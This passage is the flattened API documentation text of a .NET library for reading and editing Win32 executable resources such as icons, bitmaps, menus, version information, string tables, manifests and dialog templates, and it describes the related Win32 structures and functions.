a 2-byte format consisting of a count byte followed by a byte containing a color index. For more information, see Bitmap Compression. An RLE format for bitmaps with 4 bpp. The compression format is a 2-byte format consisting of a count byte followed by two word-length color indexes. For more information, see Bitmap Compression. Specifies that the bitmap is not compressed and that the color table consists of three DWORD color masks that specify the red, green, and blue components, respectively, of each pixel. This is valid when used with 16- and 32-bpp bitmaps. Windows 98/Me, Windows 2000/XP: Indicates that the image is a JPEG image. Windows 98/Me, Windows 2000/XP: Indicates that the image is a PNG image. A bitmap info header. See http://msdn.microsoft.com/en-us/library/ms532290.aspx for more information. Bitmap information size. Bitmap width. Bitmap height. Number of logical planes. Bitmap bitrate. Bitmap compression. Image size. Horizontal pixel resolution. Vertical pixel resolution. Returns the current bitmap compression. Bitmap pixel format. Bitmap pixel format English standard string. Defines the dimensions and color information of a Windows-based device-independent bitmap (DIB). http://msdn.microsoft.com/en-us/library/dd183375(VS.85).aspx. Specifies a bitmap information header structure that contains information about the dimensions of color format. An array of RGBQUAD. The elements of the array make up the color table. Store colors in a paletised icon (2, 4 or 8 bit). http://msdn.microsoft.com/en-us/library/ms997538.aspx Blue. Green. Red. Reserved. The BITMAPFILEHEADER structure contains information about the type, size, and layout of a file that contains a DIB. http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx The file type; must be BM. The size, in bytes, of the bitmap file. Reserved; must be zero. Reserved; must be zero. The offset, in bytes, from the beginning of the BITMAPFILEHEADER structure to the bitmap bits. Set the pixels in the specified rectangle on the device that is associated with the destination device context using color data from a DIB, JPEG, or PNG image. http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx A handle to the device context. The x-coordinate, in logical units, of the upper-left corner of the destination rectangle. The y-coordinate, in logical units, of the upper-left corner of the destination rectangle. The width, in logical units, of the image. The height, in logical units, of the image. The x-coordinate, in logical units, of the lower-left corner of the image. The y-coordinate, in logical units, of the lower-left corner of the image. The starting scan line in the image. The number of DIB scan lines contained in the array pointed to by the lpvBits parameter. A pointer to the color data stored as an array of bytes. A pointer to a BITMAPINFOHEADER structure that contains information about the DIB. Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette. If the function succeeds, the return value is the number of scan lines set. If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero. If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. Set the pixels in the specified rectangle on the device that is associated with the destination device context using color data from a DIB, JPEG, or PNG image. http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx A handle to the device context. The x-coordinate, in logical units, of the upper-left corner of the destination rectangle. The y-coordinate, in logical units, of the upper-left corner of the destination rectangle. The width, in logical units, of the image. The height, in logical units, of the image. The x-coordinate, in logical units, of the lower-left corner of the image. The y-coordinate, in logical units, of the lower-left corner of the image. The starting scan line in the image. The number of DIB scan lines contained in the array pointed to by the lpvBits parameter. A pointer to the color data stored as an array of bytes. A pointer to a BITMAPINFOHEADER structure that contains information about the DIB. Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette. If the function succeeds, the return value is the number of scan lines set. If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero. If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. Retrieves the bits of the specified compatible bitmap and copies them into a buffer as a DIB using the specified format A handle to the device context. A handle to the bitmap. This must be a compatible bitmap (DDB). The first scan line to retrieve. The number of scan lines to retrieve. A pointer to a buffer to receive the bitmap data. A pointer to a BITMAPINFO structure that specifies the desired format for the DIB data. The format of the bmiColors member of the BITMAPINFO structure. If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap. If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero. If the function fails, the return value is zero. Create a DIB that applications can write to directly. The function gives you a pointer to the location of the bitmap bit values. You can supply a handle to a file-mapping object that the function will use to create the bitmap, or you can let the system allocate the memory for the bitmap. Handle to a device context. A pointer to a BITMAPINFO structure that specifies various attributes of the DIB, including the bitmap dimensions and colors. The type of data contained in the bmiColors array member of the BITMAPINFO structure pointed to by pbmi (either logical palette indexes or literal RGB values). A pointer to a variable that receives a pointer to the location of the DIB bit values. A handle to a file-mapping object that the function will use to create the DIB. This parameter can be NULL. The offset from the beginning of the file-mapping object referenced by hSection where storage for the bitmap bit values is to begin. If the function succeeds, the return value is a handle to the newly created DIB, and *ppvBits points to the bitmap bit values. If the function fails, the return value is NULL, and *ppvBits is NULL. Defines how to interpret the values in the color table of a DIB. The color table contains literal RGB values. The color table consists of an array of 16-bit indexes into the LogPalette object that is currently defined in the playback device context. No color table exists. The pixels in the DIB are indices into the current logical palette in the playback device context. Creates a memory device context (DC) compatible with the specified device. Handle to an existing device context. The handle to a memory device context indicates success. NULL indicates failure. Specifies either DISPLAY or the name of a specific display device or the name of a print provider, which is usually WINSPOOL. Specifies the name of the specific output device being used, as shown by the Print Manager (for example, Epson FX-80). This parameter is ignored and should be set to NULL. It is provided only for compatibility with 16-bit Windows. A pointer to a DEVMODE structure containing device-specific initialization data for the device driver. Creates a bitmap compatible with the device that is associated with the specified device context. A handle to a device context. The bitmap width, in pixels. The bitmap height, in pixels. If the function succeeds, the return value is a handle to the compatible bitmap (DDB). If the function fails, the return value is NULL. Selects an object into a specified device context. The new object replaces the previous object of the same type. Handle to the device context. Handle to the object to be selected. If the selected object is not a region, the handle of the object being replaced indicates success. If the selected object is a region, one of the following values indicates success. Deletes a logical pen, brush, font, bitmap, region, or palette, freeing all system resources associated with the object. Handle to a logical pen, brush, font, bitmap, region, or palette. Nonzero indicates success. Zero indicates that the specified handle is not valid or that the handle is currently selected into a device context. Deletes the specified device context. A handle to the device context. If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. A generic resource. Raw resource data. Raw resource data. An unstructured generic resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. A generic resource. Resource name. Resource type. Resource language. Read a generic resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the resource to a binary stream. Binary stream. This structure depicts the organization of data in a hardware-independent icon resource. A hardware-independent icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent icon resource. A new collection of icons that can be embedded into an executable file. This structure depicts the organization of data in a .ico file. Resource type. Icon. Cursor. Type of the group icon resource. Collection of icons in an .ico file. An existing .ico file. An existing icon (.ico) file. Load from a .ico file. An existing icon (.ico) file. Read icons. Pointer to the beginning of a FILEGRPICONDIR structure. Pointer to the end of a FILEGRPICONDIR structure. This structure depicts the organization of icon data in a .ico file. Icon header. Icon bitmap. New icon data. Icon width. Icon height. Image size in bytes. Read a single icon (.ico). Pointer to the beginning of this icon's data. Pointer to the beginning of all icon data. Pointer to the end of this icon's data. Icon size as a string. Icon size in the width x height format. This structure depicts the organization of data in an icon resource. Directory header. Actual image. Hardware-independent icon directory header. Embedded icon Id. An icon image. An existing icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new icon resource. Create a new icon image resource from a file icon. File icon. Resource type. Resource id. Resource language. Icon width in pixels. Icon height in pixels. Image size in bytes. Read an icon resource from a previously loaded module. Module handle. Pointer to a directory entry in the hardware-independent icon resource. Pointer to the end of the icon resource. Read the bitmap image. DIB bits. Size of image. Icon pixel format. Icon pixel format English standard string. String representation of the icon. A string in a format of width x height followed by the pixel format. Write icon resource data to a binary stream. Binary stream. Save icon to a file. Target executable file. This structure depicts the organization of data in an icon resource. An existing icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new icon resource. Convert into an icon resource that can be written into an executable. Icon image. Icon Id. Resource language. An icon resource. Kernel32.dll interop functions. A resource header. Header length. Data length. Resource type. A new resource header of a given length. Resource header type. Binary data. String data. Language and code page combinations. The low-order word of each DWORD must contain a Microsoft language identifier, and the high-order word must contain the IBM code page number. Either high-order or low-order word can be zero, indicating that the file is language or code page independent. Microsoft language identifier. IBM code page number. This structure contains version information about a file. This information is language- and code page–independent. http://msdn.microsoft.com/en-us/library/ms647001.aspx Contains the value 0xFEEF04BD. This is used with the szKey member of the VS_VERSIONINFO structure when searching a file for the VS_FIXEDFILEINFO structure. Specifies the binary version number of this structure. The high-order word of this member contains the major version number, and the low-order word contains the minor version number. Specifies the most significant 32 bits of the file's binary version number. This member is used with dwFileVersionLS to form a 64-bit value used for numeric comparisons. Specifies the least significant 32 bits of the file's binary version number. This member is used with dwFileVersionMS to form a 64-bit value used for numeric comparisons. Specifies the most significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionLS to form a 64-bit value used for numeric comparisons. Specifies the least significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionMS to form a 64-bit value used for numeric comparisons. Contains a bitmask that specifies the valid bits in dwFileFlags. A bit is valid only if it was defined when the file was created. Contains a bitmask that specifies the Boolean attributes of the file. Specifies the operating system for which this file was designed. Specifies the general type of file. Specifies the function of the file. Specifies the most significant 32 bits of the file's 64-bit binary creation date and time stamp. Specifies the least significant 32 bits of the file's 64-bit binary creation date and time stamp. Creates a default Windows VS_FIXEDFILEINFO structure. A default Windows VS_FIXEDFILEINFO. A hardware-independent icon directory resource header. http://msdn.microsoft.com/en-us/library/ms997538.aspx Reserved, must be zero. Resource type, 1 for icons. Number of images. Hardware-independent icon directory entry. See http://msdn.microsoft.com/en-us/library/ms997538.aspx for more information. Width of the image. Starting with Windows 95 a value of 0 represents width of 256. Height of the image. Starting with Windows 95 a value of 0 represents height of 256. Number of colors in the image. bColors = 1 << (wBitsPerPixel * wPlanes) If wBitsPerPixel* wPlanes is greater orequal to 8, then bColors = 0. Reserved. Number of bitmap planes. 1: monochrome bitmap Bits per pixel. 1: monochrome bitmap Image size in bytes. Icon ID. Hardware-independent icon directory entry in an .ico file. Icon width. Icon height. Colors; 0 means 256 or more. Reserved. Number of bitmap planes for icons. Horizontal hotspot for cursors. Bits per pixel for icons. Vertical hostpot for cursors. Image size in bytes. Offset of bitmap data from the beginning of the file. Hardware-independent icon structure in an .ico file. Reserved, must be zero. Resource Type (1 for icons). Number of images. If this value is used, the system maps the file into the calling process's virtual address space as if it were a data file. If this value is used, and the executable module is a DLL, the system does not call DllMain for process and thread initialization and termination. If this value is used and lpFileName specifies an absolute path, the system uses the alternate file search strategy. If this value is used, the system does not perform automatic trust comparisons on the DLL or its dependents when they are loaded. Loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded. The name of the module. This parameter is reserved for future use. The action to be taken when loading the module. Frees the loaded dynamic-link library (DLL) module and, if necessary, decrements its reference count. A handle to the loaded library module. If the function succeeds, the return value is nonzero. Predefined resource types. Hardware-dependent cursor resource. Bitmap resource. Hardware-dependent icon resource. Menu resource. Dialog box. String-table entry. Font directory resource. Font resource. Accelerator table. Application-defined resource (raw data). Message-table entry. Hardware-independent cursor resource. Hardware-independent icon resource. Version resource. Allows a resource editing tool to associate a string with an .rc file. Plug and Play resource. VXD. Animated cursor. Animated icon. HTML. Microsoft Windows XP: Side-by-Side Assembly XML Manifest. Enumerates resource types within a binary module. Handle to a module to search. Pointer to the callback function to be called for each enumerated resource type. Specifies an application-defined value passed to the callback function. Returns TRUE if successful; otherwise, FALSE. An application-defined callback function used with the EnumResourceTypes and EnumResourceTypesEx functions. The handle to the module whose executable file contains the resources for which the types are to be enumerated. Pointer to a null-terminated string specifying the type name of the resource for which the type is being enumerated. Specifies the application-defined parameter passed to the EnumResourceTypes or EnumResourceTypesEx function. Returns TRUE if successful; otherwise, FALSE. Enumerates resources of a specified type within a binary module. Handle to a module to search. Pointer to a null-terminated string specifying the type of the resource for which the name is being enumerated. Pointer to the callback function to be called for each enumerated resource name or ID. Specifies an application-defined value passed to the callback function. Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason. An application-defined callback function used with the EnumResourceNames and EnumResourceNamesEx functions. The handle to the module whose executable file contains the resources that are being enumerated. Pointer to a null-terminated string specifying the type of resource that is being enumerated. Specifies the name of a resource of the type being enumerated. Specifies the application-defined parameter passed to the EnumResourceNames or EnumResourceNamesEx function. Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason. Enumerates language-specific resources, of the specified type and name, associated with a binary module. The handle to a module to search. Pointer to a null-terminated string specifying the type of resource for which the language is being enumerated. Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated. Pointer to the callback function to be called for each enumerated resource language. Specifies an application-defined value passed to the callback function. Returns TRUE if successful or FALSE otherwise. An application-defined callback function used with the EnumResourceLanguages and EnumResourceLanguagesEx functions. The handle to the module whose executable file contains the resources for which the languages are being enumerated. Pointer to a null-terminated string specifying the type name of the resource for which the language is being enumerated. Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated. Specifies the language identifier for the resource for which the language is being enumerated. Specifies the application-defined parameter passed to the EnumResourceLanguages or EnumResourceLanguagesEx function. Returns TRUE if successful or FALSE otherwise. Determines the location of the resource with the specified type, name, and language in the specified module. Handle to the module whose executable file contains the resource. Pointer to a null-terminated string specifying the type name of the resource. Pointer to a null-terminated string specifying the name of the resource. Specifies the language of the resource. If the function succeeds, the return value is a handle to the specified resource's information block. Locks the specified resource in memory. Handle to the resource to be locked. If the loaded resource is locked, the return value is a pointer to the first byte of the resource; otherwise, it is NULL. Loads the specified resource into global memory. Handle to the module whose executable file contains the resource. Handle to the resource to be loaded. If the function succeeds, the return value is a handle to the data associated with the resource. Returns the size, in bytes, of the specified resource. Handle to the module whose executable file contains the resource. Handle to the resource. This handle must be created by using the FindResource or FindResourceEx function. If the function succeeds, the return value is the number of bytes in the resource. Closes an open object handle. A valid handle to an open object. If the function succeeds, the return value is nonzero. Returns a handle to either a language-neutral portable executable file (LN file) or a language-specific resource file (.mui file) that can be used by the UpdateResource function to add, delete, or replace resources in a binary module. Pointer to a null-terminated string that specifies the binary file in which to update resources. Specifies whether to delete the pFileName parameter's existing resources. If the function succeeds, the return value is a handle that can be used by the UpdateResource and EndUpdateResource functions. Adds, deletes, or replaces a resource in a portable executable (PE) file. There are some restrictions on resource updates in files that contain Resource Configuration (RC Config) data: language-neutral (LN) files and language-specific resource (.mui) files. A module handle returned by the BeginUpdateResource function, referencing the file to be updated. Pointer to a null-terminated string specifying the resource type to be updated. Pointer to a null-terminated string specifying the name of the resource to be updated. Specifies the language identifier of the resource to be updated. Pointer to the resource data to be inserted into the file indicated by hUpdate. Specifies the size, in bytes, of the resource data at lpData. Returns TRUE if successful or FALSE otherwise. Commits or discards changes made prior to a call to UpdateResource. A module handle returned by the BeginUpdateResource function, and used by UpdateResource, referencing the file to be updated. Specifies whether to write the resource updates to the file. If this parameter is TRUE, no changes are made. If it is FALSE, the changes are made: the resource updates will take effect. Returns TRUE if the function succeeds; FALSE otherwise. Neutral primary language ID. US-English primary language ID. Neutral sublanguage ID. US-English sublanguage ID. CREATEPROCESS_MANIFEST_RESOURCE_ID is used primarily for EXEs. If an executable has a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will create a process default activation context for the process. The process default activation context will be used by all components running in the process. CREATEPROCESS_MANIFEST_RESOURCE_ID can also used by DLLs. When Windows probe for dependencies, if the dll has a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will use that manifest as the dependency. ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used primarily for DLLs. It should be used if the dll wants private dependencies other than the process default. For example, if an dll depends on comctl32.dll version 6.0.0.0. It should have a resource of type RT_MANIFEST, ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID to depend on comctl32.dll version 6.0.0.0, so that even if the process executable wants comctl32.dll version 5.1, the dll itself will still use the right version of comctl32.dll. When ISOLATION_AWARE_ENABLED is defined, Windows re-defines certain APIs. For example LoadLibraryExW is redefined to IsolationAwareLoadLibraryExW. Resource manifest type. CREATEPROCESS_MANIFEST_RESOURCE_ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks. A pointer to the starting address of the copied block's destination. A pointer to the starting address of the block of memory to copy. The size of the block of memory to copy, in bytes. A resource load exception. The Win32 exception from a resource enumeration function. A new resource load exception. Error message. The inner exception thrown within a single resource. The outer exception from the Win32 API. A combined message of the inner and outer exception. An embedded SxS manifest. Embedded XML manifest. Manifest type. An existing embedded manifest resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new executable CreateProcess manifest. A new executable manifest. Manifest type. Read the resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the resource to a binary stream. Binary stream. Load a manifest resource from an executable file. Name of an executable file (.exe or .dll). Manifest resource type. Extended menu template. Menu items. Read the menu template. Address in memory. Write the menu template. Binary stream. String representation of the menu in the MENUEX format. String representation of the menu. A base menu template item. Menu item header. Menu string. Menu text. Read the menu item. Address in memory. End of the menu item structure. Write the menu item to a binary stream. Binary stream. String representation in the MENU format. Indent. String representation. String representation in the MENU format. String representation. A collection of menu items. A collection of extended menu items. Read the menu item collection. Address in memory. End of the menu item structure. Write the menu collection to a binary stream. Binary stream. String representation in the MENU format. String representation. String representation in the MENU format. Indent. String representation. A command menu item. A command menu item. Returns true if the item is a separator. String representation in the MENU format. Indent. String representation. An extended popup menu item. Sub menu items. An extended popup menu item. Read an extended popup menu item. Address in memory. End of the menu item structure. Write the menu item to a binary stream. Binary stream. String representation in the MENUEX format. String representation. A generic resource. Menu template. A structured menu resource. A structured menu resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. Read a menu resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the menu resource to a binary stream. Binary stream. String representation of the menu resource in the MENU format. String representation of the menu resource. Standard menu template. Menu items. Read the menu template. Address in memory. Write menu template to a binary stream. Binary stream. String representation of the menu in the MENU format. String representation of the menu. A menu template header. Read the menu template header. Address in memory. Write the menu to a binary stream. Binary stream. A base menu template item. Menu item header. Menu string. Menu text. Read the menu item. Address in memory. End of the menu item structure. String representation in the MENU format. Indent. String representation. String representation in the MENU format. String representation. A collection of menu items. A collection of menu items. Read the menu item collection. Address in memory. End of the menu item structure. Write the menu collection to a binary stream. Binary stream. String representation in the MENU format. String representation. String representation in the MENU format. Indent. String representation. A command menu item. Command menu id. A command menu item. Read a command menu item. Address in memory. End of the menu item structure. Write menu item to a binary stream. Binary stream. Returns true if the item is a separator. String representation in the MENU format. Indent. String representation. A popup menu item. Sub menu items. A popup menu item. Read a popup menu item. Address in memory. End of the menu item structure. Write menu item to a binary stream. Binary stream. String representation in the MENU format. String representation. A version resource. Resource type. Resource name. Resource language. Loaded binary nodule. Pointer to the resource. Resource size. Version resource size in bytes. Language ID. Resource type. String representation of the resource type. Resource name. A new resource. A structured resource embedded in an executable module. Module handle. Resource handle. Resource type. Resource name. Language ID. Resource size. Lock and read the resource. Module handle. Resource handle. Load a resource from an executable (.exe or .dll) file. An executable (.exe or .dll) file. Load a resource from an executable (.exe or .dll) file. An executable (.exe or .dll) file. Resource name. Resource type. Resource language. Load a resource from an executable (.exe or .dll) module. An executable (.exe or .dll) module. Resource type. Resource name. Resource language. Read a resource from a previously loaded module. Module handle. Pointer to the beginning of the resource. Pointer to the end of the resource. Write the resource to a memory stream. Binary stream. Return resource data. Resource data. Save a resource. Name of an executable file (.exe or .dll). Save a resource to an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Language id. Delete a resource from an executable (.exe or .dll) file. Path to an executable file. Delete a resource from an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Resource language. Save a resource to an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Resource language. Resource data. Save a batch of resources to a given file. Path to an executable file. The resources to write. A resource Id. There're two types of resource Ids, reserved integer numbers (eg. RT_ICON) and custom string names (eg. "CUSTOM"). A resource identifier. A integer or string resource id. A resource identifier. A integer resource id. A well-known resource-type identifier. A well known resource type. A custom resource identifier. Resource Id. If the resource Id is a string, it will be copied. String representation of a resource type name. An enumerated resource type for built-in resource types only. Returns true if the resource is an integer resource. Returns true if the resource is an integer resource. Resource pointer. Resource Id in a string format. String representation of the resource Id. Resource name. Resource Id hash code. Resource Ids of the same type have the same hash code. Resource Id. Compares two resource Ids by value. Resource Id. True if both resource Ids represent the same resource. Resource info manager. A dictionary of resources, the key is the resource type, eg. "REGISTRY" or "16" (version). A shortcut for available resource types. A new resource info. Unload the previously loaded module. Load an executable or a DLL and read its resources. Source filename. Enumerate resource types. Module handle. Resource type. Additional parameter. TRUE if successful. Enumerate resource names within a resource by type Module handle. Resource type. Resource name. Additional parameter. TRUE if successful. Create a resource of a given type. Module handle. Pointer to the resource in memory. Resource type. Resource name. Language ID. Size of resource. A specialized or a generic resource. Enumerate resource languages within a resource by name Module handle. Resource type. Resource name. Language ID. Additional parameter. TRUE if successful. Save resource to a file. Target filename. Dispose resource info object. A collection of resources. Resource type. A collection of resources of a given type. A collection of resources. Resource type. A collection of resources of a given type. Enumerates all resources within this resource info collection. Resources enumerator. Enumerates all resources within this resource info collection. Resources enumerator. A resource table header. Resource table header. Resource table key. Resource table key. Resource header. A new resource table header. An resource table header with a specific key. resource key An existing resource table. Pointer to resource table data. Read the resource header, return a pointer to the end of it. Top of header. End of header, after the key, aligned at a 32 bit boundary. Write the resource table. Binary stream. String representation. String representation. String representation. Indent. String representation. Resource utilities. Align an address to a 4-byte boundary. Address in memory. 4-byte aligned pointer. Align a pointer to a 4-byte boundary. Pointer to an address in memory. 4-byte aligned pointer. Pad data to a WORD. Binary stream. New position within the binary stream. Pad data to a DWORD. Binary stream. New position within the binary stream. Returns the high WORD from a DWORD value. WORD value. High WORD. Returns the high WORD from a DWORD value. WORD value. High WORD. Write a value at a given position. Used to write a size of data in an earlier located header. Binary stream. Value to write. Address to write the value at. Pad bytes. Binary stream. Number of bytes to write. New position within the stream. Neutral language ID. US-English language ID. Make a language ID from a primary language ID (low-order 10 bits) and a sublanguage (high-order 6 bits). Primary language ID. Sublanguage ID. Microsoft language ID. Return the primary language ID from a Microsoft language ID. Microsoft language ID primary language ID (low-order 10 bits) Return the sublanguage ID from a Microsoft language ID. Microsoft language ID. Sublanguage ID (high-order 6 bits). Returns the memory representation of an object. Object type. Data. Object's representation in memory. Get a collection of flags from a flag value. Flag collection type. Flag value. Collection of flags. Get a string representation of flags. Flag collection type. Flag vlaue String representation of flags in the f1 | ... | fn format. This structure depicts the organization of data in a file-version resource. It contains version information that can be displayed for a particular language and code page. http://msdn.microsoft.com/en-us/library/aa908808.aspx Resource strings. A new string file-version resource. An existing string file-version resource. Pointer to the beginning of a string file-version resource. Read an existing string file-version resource. Pointer to the beginning of a string file-version resource. Pointer to the end of the string file-version resource. Write the string file-version resource to a binary stream. Binary stream. Default (first) string table. Indexed string table. Key. A string table at a given index. String representation of StringFileInfo. Indent. String in the StringFileInfo format. A string, RT_STRING resource. Each string resource block has 16 strings, each represented as an ordered pair (length, text). Length is a WORD that specifies the size, in terms of the number of characters, in the text that follows. Text follows length and contains the string in Unicode without the NULL terminating character. There may be no characters in text, in which case length is zero. String collection in this resource. Returns a string of a given Id. String Id. A string of a given Id. A new string resource. A new string resource of a given block id. Block id. A new string resource of a given block id. Block id. An existing string resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A string with ID, stringId, is located in the block with ID given by the following formula. http://support.microsoft.com/kb/q196774/ String table block id. Read the strings. Handle to a module. Pointer to the beginning of the string table. Address of the end of the string table. String representation of the strings resource. This structure depicts the organization of data in a file-version resource. It contains language and code page formatting information for the strings. A code page is an ordered character set. See http://msdn.microsoft.com/en-us/library/aa909192.aspx for more information. Resource strings. A new string table. A new string table. String table key. An existing string table. Pointer to the beginning of the table. Read a string table. Pointer to the beginning of the string table. Pointer to the end of the string table. Write the string table to a binary stream. Binary stream. Last unpadded position. The four most significant digits of the key represent the language identifier. Each Microsoft Standard Language identifier contains two parts: the low-order 10 bits specify the major language, and the high-order 6 bits specify the sublanguage. The four least significant digits of the key represent the code page for which the data is formatted. Returns an entry within the string table. Key. An entry within the string table. String representation of the string table. Indent. String representation of the strings table. This structure depicts the organization of data in a file-version resource. It contains a string that describes a specific aspect of a file, such as a file's version, its copyright notices, or its trademarks. http://msdn.microsoft.com/en-us/library/aa909025.aspx The value is always stored double-null-terminated. When set to true the length in the header will also contain the padding bytes when writing to a stream. The MSDN reference (http://www.webcitation.org/6zBLYbvww) does not clarify which variant is 'right'. String resource header. Key. String value (removing the double-null-terminator). Value. A new string resource. Key. An existing string resource. Pointer to the beginning of a string resource. Read a string resource. Pointer to the beginning of a string resource. Write a string resource to a binary stream. Binary stream. User32.dll functions. Contains information about an icon or a cursor. Specifies whether this structure defines an icon or a cursor. A value of TRUE specifies an icon; FALSE specifies a cursor. Specifies the x-coordinate of a cursor's hot spot. If this structure defines an icon, the hot spot is always in the center of the icon, and this member is ignored. Specifies the y-coordinate of the cursor's hot spot. If this structure defines an icon, the hot spot is always in the center of the icon, and this member is ignored. Specifies the icon bitmask bitmap. Handle to the icon color bitmap. Retrieve a handle to a device context (DC) for the client area of a specified window or for the entire screen. A handle to the window whose DC is to be retrieved. If this value is NULL, GetDC retrieves the DC for the entire screen. If the function succeeds, the return value is a handle to the DC for the specified window's client area. If the function fails, the return value is NULL. Releases a device context (DC), freeing it for use by other applications. A handle to the window whose DC is to be released. A handle to the DC to be released. The return value indicates whether the DC was released. If the DC was released, the return value is 1. If the DC was not released, the return value is zero. The DIALOGTEMPLATE structure defines the dimensions and style of a dialog box. This structure, always the first in a standard template for a dialog box, also specifies the number of controls in the dialog box and therefore specifies the number of subsequent DIALOGITEMTEMPLATE structures in the template. Specifies the style of the dialog box. Extended styles for a window. Specifies the number of items in the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. The DIALOGITEMTEMPLATE structure defines the dimensions and style of a control in a dialog box. Specifies the style of the control. Extended styles for a window. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the control. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the control. Specifies the width, in dialog box units, of the control. Specifies the height, in dialog box units, of the control. Specifies the control identifier. An extended dialog box template begins with a DIALOGEXTEMPLATE header that describes the dialog box and specifies the number of controls in the dialog box. For each control in a dialog box, an extended dialog box template has a block of data that uses the DIALOGEXITEMTEMPLATE format to describe the control. Specifies the version number of the extended dialog box template. This member must be 1. Indicates whether a template is an extended dialog box template. Specifies the help context identifier for the dialog box window. When the system sends a WM_HELP message, it passes this value in the wContextId member of the HELPINFO structure. Specifies extended windows styles. Specifies the style of the dialog box. Specifies the number of controls in the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. A control entry in an extended dialog template. Specifies the help context identifier for the dialog box window. When the system sends a WM_HELP message, it passes this value in the wContextId member of the HELPINFO structure. Specifies extended windows styles. Specifies the style of the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. Specifies the control identifier. Window styles. http://msdn.microsoft.com/en-us/library/ms632600(VS.85).aspx Creates an overlapped window. An overlapped window has a title bar and a border. Same as the WS_TILED style. Creates a pop-up window. This style cannot be used with the WS_CHILD style. Creates a child window. A window with this style cannot have a menu bar. This style cannot be used with the WS_POPUP style. Creates a window that is initially minimized. Same as the WS_ICONIC style. Creates a window that is initially visible. Creates a window that is initially disabled. A disabled window cannot receive input from the user. Clips child windows relative to each other; that is, when a particular child window receives a WM_PAINT message, the WS_CLIPSIBLINGS style clips all other overlapping child windows out of the region of the child window to be updated. If WS_CLIPSIBLINGS is not specified and child windows overlap, it is possible, when drawing within the client area of a child window, to draw within the client area of a neighboring child window. Excludes the area occupied by child windows when drawing occurs within the parent window. This style is used when creating the parent window. Creates a window that is initially maximized. Creates a window that has a title bar (includes the WS_BORDER style). Creates a window that has a thin-line border. Creates a window that has a border of a style typically used with dialog boxes. A window with this style cannot have a title bar. Creates a window that has a vertical scroll bar. Creates a window that has a horizontal scroll bar. Creates a window that has a window menu on its title bar. The WS_CAPTION style must also be specified. Creates a window that has a sizing border. Same as the WS_SIZEBOX style. Specifies the first control of a group of controls. The group consists of this first control and all controls defined after it, up to the next control with the WS_GROUP style. The first control in each group usually has the WS_TABSTOP style so that the user can move from group to group. The user can subsequently change the keyboard focus from one control in the group to the next control in the group by using the direction keys. Specifies a control that can receive the keyboard focus when the user presses the TAB key. Pressing the TAB key changes the keyboard focus to the next control with the WS_TABSTOP style. Dialog styles. http://msdn.microsoft.com/en-us/library/ms644994(VS.85).aspx Specifying this style in the dialog template tells Windows that the dtX and dtY values of the DIALOGTEMPLATE struct are relative to the screen origin, not the owner of the dialog box. Create a dialog box with the WS_EX_TOPMOST flag. This flag cannot be combined with the DS_CONTROL style. This flag is obsolete and is included for compatibility with 16-bit versions of Windows. Applies to 16-bit applications only. This style directs edit controls in the dialog box to allocate memory from the application data segment. Otherwise, edit controls allocate storage from a global memory object. Indicates that the header of the dialog box template contains additional data specifying the font to use for text in the client area and controls of the dialog box. Creates a dialog box with a modal dialog-box frame that can be combined with a title bar and window menu by specifying the WS_CAPTION and WS_SYSMENU styles. Suppresses WM_ENTERIDLE messages that the system 